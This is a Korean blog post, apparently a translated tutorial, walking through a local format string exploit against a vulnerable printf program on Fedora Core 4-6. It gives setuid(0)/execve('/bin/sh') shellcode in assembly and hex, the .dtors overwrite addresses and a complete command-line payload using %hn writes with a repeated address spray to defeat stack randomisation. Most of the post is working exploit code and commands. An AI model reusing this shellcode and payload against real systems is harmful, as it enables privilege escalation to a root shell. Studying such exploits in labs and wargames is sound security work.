shellcode를 사용하는 local format string exploit (Fedora Core 6)
번역 프로젝트
shellcode를 사용하는 local format string exploit (Fedora Core 6) 번역 프로젝트.pdf
Fedora Core 4, 5, 6 내에서 shellcode를 사용하는 local format string exploit 방법
소스를 보면 포맷 스트링공격이 가능한 취약한 소스라는 것을 알 수 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char ppp[4096];
strncpy(ppp,argv[1], sizeof(ppp)-1);
printf(ppp);
}
shellcode가 써지고 실행되는 주소를 찾습니다.
cat /proc/self/maps | grep rwxp
0x00b03000-0x00b04000
0x00c3f000-0x00c40000
0x00c40000-0x00c43000
shellcode의 주소를 넣을 .dtors+4의 주소를 찾습니다.
objdump -h printf | grep .dtors
0x080494bc+4
shellcode를 작성하면 다음과 같습니다.
.globl main
main :
jmp strings
one:
xor %eax,%eax ;#setuid(0)
movb $0x17, %al
xor %ebx, %ebx
int $0x80
pop %esi ;#execve()
xor %eax, %eax
movb %al, 0x07(%esi)
movl %esi, 0x8(%esi)
movl %eax, 0xc(%esi)
movb $0x0b, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
xor %edx, %edx
int $0x80
movb $0x01, %al ;#exit(0)
xor %ebx , %ebx
int $0x80
strings:
call one
.string "/bin/sh"
gcc -o sh sh.s
\xeb\x25\x31\xc0
\xb0\x17\x31\xdb
\xcd\x80\x5e\x31
\xc0\x88\x46\x07
\x89\x76\x08\x89
\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e
\x08\x31\xd2\xcd
\x80\xb0\x01\x31
\xdb\xcd\x80\xe8
\xd6\xff\xff\xff
\x2f\x62\x69\x6e
\x2f\x73\x68\x00
Little-endian 방식이므로 넣을 때는 아래와 같아야 합니다.
0xc031 0x25eb 39494 9699
0xdb31 0x17b0 50049 22399
0x315e 0x80cd 45201 42396
0x0746 0x88c0 32390 22370
0x8908 0x7689 4735 28483
0x0bb0 0x0c46 65386 33598
0x4e8d 0xf389 23300 59353
0xcdd2 0x3108 40138 57979
0x3101 0xb080 32897 58030
0xe880 0xcddb 6821 40154
0xffff 0xffd6 41 5974
0x6e69 0x622f 3130 25136
0x0068 0x732f 36153 1222
shellcode를 넣을 주소입니다.
0x00c41030
\x30\x10\xc4\x00
0x00c4 0x1030 61588 4040
공격 준비는 끝났습니다.
공격 코드는 다음과 같습니다.
[.dtors1][.dtors2]
[%16진수 shellcode를 10진수로 변경한 후, $-flag를 통해 library 위치에 덮어씌우는 공격코드]
[%.dtors를 shellcode가 존재하는 library 위치 주소로 덮어씌우는 공격코드]
[(library 주소)*200] [(library 주소+2)*200] [(library 주소+4)*200] [(library 주소+N)*200] [align]
$(printf "\xc0\x94\x04\x08\xc2\x94\x04\x08")%9699x%6600\$hn%39494x%6800\$hn%22399x%7000\$hn%50049x%7200$hn%42396x%7400\$hn%45201x%7600\$hn%22370x%7800\$hn%32390x%8000\$hn%28483x%8200\$hn%4735x%8400\$hn%33598x%8600\$hn%65386x%8800\$hn%59353x%9000\$hn%23300x%9200\$hn%57979x%9400\$hn%40138x%9600\$hn%58030x%9800\$hn%32897x%10000\$hn%40154x%10200\$hn%6821x%10400x%5974x%10600\$hn%41x%10800\$hn%25136x%11000\$hn%3130x%11200\$hn%1222x%11400\$hn%36153x%11600\$hn%4040x%5\$hn%61588x%6\$hn $(python -c 'print "\x30\x10\xc4 "*200 + "\x32\x10\xc4 "*200 +"\x34\x10\xc4 "*200 +"\x36\x10\xc4 "*200 +"\x38\x10\xc4 "*200 +"\x3a\x10\xc4 "*200 +"\x3c\x10\xc4 "*200 +"\x3e\x10\xc4 "*200 +"\x40\x10\xc4 "*200 +"\x42\x10\xc4 "*200 +"\x44\x10\xc4 "*200 +"\x46\x10\xc4 "*200 +"\x48\x10\xc4 "*200 +"\x4a\x10\xc4 "*200 +"\x4c\x10\xc4 "*200 +"\x4e\x10\xc4 "*200 +"\x50\x10\xc4 "*200 +"\x52\x10\xc4 "*200 +"\x54\x10\xc4 "*200 +"\x56\x10\xc4 "*200 +"\x58\x10\xc4 "*200 +"\x5a\x10\xc4 "*200 +"\x5c\x10\xc4 "*200 +"\x5e\x10\xc4 "*200 +"\x60\x10\xc4 "*200 +"\x62\x10\xc4 "*200') aaaa
/////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////
shellcode를 넣을 주소는 \x00을 가지고 있으므로 인자에 넣습니다.
따라서 위치를 찾아야 하는데 랜덤 stack이여서 위치는 계속 바뀝니다.
해결책으로 주소 하나씩 여러번 입력(200번)을 합니다.
그렇게 되면 처음 주소의 위치를 찾는 확률이 커지기때문입니다.
그리고 마지막 a는 주소를 맟춰주기 위해서 사용됩니다.
'Exploit > 0x06-nix' 카테고리의 다른 글
peda 설치 (0) | 2016.03.15 |
---|---|
(blackfalcon입팀과제)HackerSchool_BOF원정대(redhat6.2)_풀이보고서 (0) | 2015.12.08 |
몇가지 재미있는 소스와 redir 사용법 (0) | 2014.10.12 |